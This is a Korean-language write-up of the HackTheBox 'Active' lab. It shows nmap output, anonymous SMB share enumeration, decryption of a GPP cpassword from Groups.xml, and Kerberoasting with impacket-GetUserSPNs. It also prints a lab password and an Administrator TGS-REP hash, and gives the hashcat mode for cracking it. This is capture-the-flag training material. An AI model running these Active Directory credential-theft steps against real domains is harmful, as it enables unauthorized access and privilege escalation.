이번 머신에서는 kerberoasting을 사용해야 한다.
AD의 인증 취약점을 악용해 관리자의 권한을 얻을 수 있다.
nmap
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-28 05:28:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
도메인 이름이 active.htb인 것과 smb 포트와 ldap 포트가 눈에 들어온다.
먼저 smb를 살펴본다.
smb
smbclient -N -L \\\\10.10.10.100
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
접속을 시도해보면 Replication만 연결이 되는 것을 확인할 수 있다.
smbclient -N \\\\10.10.10.100\\Replication
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
여러 폴더들이 있는데 나중에 찾아보니 SYSVOL의 복제라고 한다.
SYSVOL은 그룹 폴리시 관련 폴더라고 한다. Group Policy Preferences (GPP).
우선 smb의 폴더와 파일들을 모두 다운로드 한다.
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *
Recurse를 켜서 반복수행하도록 하고 계속해서 yes / no를 물어보기 때문에 prompt는 off로 설정한 후 mget을 사용해서 전부 다운로드 한다.
파일들을 살펴보면 Groups.xml라는 파일이 있는데 여기에 크레덴셜이 적혀있다.
SYSVOL의 취약점을 찾을 땐 Groups.xml 파일을 먼저 찾는 듯 하다.
find . -iname Groups.xml 2> /dev/null
cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
cpassword라고 있는데 GPP에서 사용하는 암호화 방식이다.
Kali에 디폴트로 설치되어있는 gpp-decrypt라는 툴로 크랙킹 할 수 있다.
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
위 크레덴셜을 사용해서 smb의 users 폴더에 로그인 할 수 있다.
smbclient -U SVC_TGS \\\\10.10.10.100\\Users
Password for [WORKGROUP\SVC_TGS]:
Try "help" to get a list of possible commands.
smb: \>
여기서 user 플래그 획득 가능.
Kerberoasting
여기서부터가 이 머신의 꽃이라고 할 수 있다.
Kerberoast를 사용해서 유저의 크레덴셜을 발견 할 수 있다.
Kerberoast는 유요한 도메인 유저의 크레덴셜을 가지고 있다면 특별한 권한이 없더라도 실행 할 수 있는 매우 유용한 공격이다.
유저 크레덴셜과 SPN이 존재할 경우 TGS 티켓 리퀘스트 (TGS-REQ)를 보내서 돌아오는 응답 (TGS-REP)의 해쉬값을 크랙킹하여 크레덴셜을 획득한다.
단, 컴퓨터 어카운트는 안되고 유저 어카운트여야 한다.
TGT 유저 인증 티켓
유저는 매번 아이디와 비밀번호로 인증하는게 귀찮고 효율이 떨어지기 때문에 티켓을 이용해서 인증 처리를 한다.
이때 KDC (Key Distribution Center)에서 TGT를 발급받는다.
TGT가 있으면 아이디, 비밀번호를 입력하는 인증절차가 생략된다.
TGS 서비스 티켓
유저는 TGT를 이용해서 본인 인증을 하면서 서비스에 대한 티켓을 신청하고 부여받는다.
이때 서비스에 대한 접근권을 TGS라고 부른다.
TGS는 유요한 크레덴셜과 SPN만 알면 특별한 권한 없이도 요청할 수 있기 때문에, 이번 머신에서는 svc_tgs의 크레덴셜을 이용한다.
TGS를 요구할 때는 유저 인증에 필요한 TGT와 접근하고 싶은 서비스를 나타내는 SPN (Service Principal Name)이 필요하다.
리퀘스트를 보내고 돌아오는 응답 즉, TGS-REP (reply)로 부터 유저의 크레덴셜을 획득하는 것을 Kerberoasting이라고 한다.
TGS-REP 획득하기
우선 SPN 어떤게 있는지 알아야 요청을 보낼 수 있기 때문에 그거 먼저 조사한다.
impacket-GetUserSPNs -dc-ip 10.10.10.100 'active.htb/SVC_TGS:GPPstillStandingStrong2k18'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-19 04:06:40.351723 2025-03-28 15:28:35.260577
impacket-GetUserSPNs
를 사용하면 SPN의 목록을 볼 수 있다.
이번 경우 Administrator의 SPN에 CIFS가 있는 것을 알 수 있다. CIFS는 smb 관련 서비스다.
active/CIFS를 이용해 TGS를 리퀘스트한다. (TGS-REQ)
impacket-GetUserSPNs -dc-ip 10.10.10.100 'active.htb/SVC_TGS:GPPstillStandingStrong2k18' -request -outputfile hash
그럼 hash 파일이 만들어지고 그 안에 TGS-REP의 해쉬가 적혀있다.
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$857b4c5a322ad5210538f0b7d956184a$55e69b9b7c85d96d375b856934f09737fcdb826abdcb9aa31d6fe2446ff996fc250163ccde931eab99f91aef819cbdf9d53f1db01246a4aaf34c45a7bea761e8d0ad826f622937d8f34bb96ffb93f40527f745c031660f3c363b53d8ad105a7dddc97d61a44af6df2c1206928a8c43becc224b74ae0f81d09df711b766db3476a6ca30ea35a6a1e2bf4245c0c4b52f445c38c4d700dd77af732b967cd65fa0ac127cefc4cd546c1f5abb18662b2593ef338b31d74a40eb483b26e3951897630d2f38f4b5e3e3a65b0834eefce3757e379d90238afc41e6721e86f9d90a1108ea5a69fe1816ddb6a3140317a9517f917c2d72df9df82597facfd0ef3bdf856200ff1ebd065d1b95427cc0b14ed3f47dba2a22b3692064c4c5a7b95e0d436e75959e6baa7534044639391fd83770cea5e5fb00eb146b62f52b880a2ced86c95daf7e28525ed4c2850366e8cf7acad9686eb07610622815c79c0a57ce8e6b067716d33160dd63d6b1f7615c1a6e75c547b6409eb5e10de54fcae7f435f49ccd701ed63465f80dc1691b52546d9bb4f59f48450042b19f6edd2b4204162f1e32c2245dbb37331f173cdec4bd8927f58bf2ed5a5b2bf114558394b66378ae8014f71bfc896ff54f4b2c1e3979748f6825787aa0c32c0b14d3efeb38d27d0e1e863d80a51d1e6ebd2b380ef9a6f74255deaf0af34d30970cba4ca42cb734f780b5e2c1021f4fd4e5027ab5fdd32b5e47f2df0b626350b9a1d6b3679d7e95fa0196eccb6c24db9de664ac7155f09fa1f04bf21f59e05fb172f5178eb1a025d0652facdfb367f4221b86902c6634f9801142112d27007e429fcc1ce541db1945b3713055ab7e34ce6596c405310c20f670ac9c736fe89b255ac4b5ec568730f341b28d95bae1be869127ed0ddbcf9da2dac017f9ac72aa25f086e6c843fbd8bfa79b4262cac1b9fc31010e78717f4ea8fd32ff346a83852a29f1d66e080334ce7fc3c9a90a828cecd0b50d409e84e110abd80bf0f72cea8d59a6c7e11a5aaa5c66ccad54310c939c966907d920f49812aae952ead444ff14557fa049a01049707632d8a1e802902c20a8336717065fcf33f04a24910d3cd2467a257b22a5cb504bb6eaf395d2619a740c8a1575ee46878735c1bbde1166054967ab006b515a20ed2cc091181fca34910fe16ed3a9823e51b6b4e2803b063cf7e73504137daae6bef0fdbc855b46cd1132fa581e761b918a829c2f73be5f9896772e9cce69
hashcat을 이용하여 크랙킹한다.
hashcat --help | grep -i kerberos
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocol
28800 | Kerberos 5, etype 17, DB | Network Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
19900 | Kerberos 5, etype 18, Pre-Auth | Network Protocol
28900 | Kerberos 5, etype 18, DB | Network Protocol
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
TGS-REP의 경우 13100이다.
비밀번호가 나오면 administrator로 psexec로그인 할 수 있다.
참고자료
https://www.datasunrise.com/professional-info/set-kerberos-protocol/
https://medium.com/@sarkaramrit2/kerberos-is-a-network-authentication-protocol-61c84b6cff70
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/kerberoast.html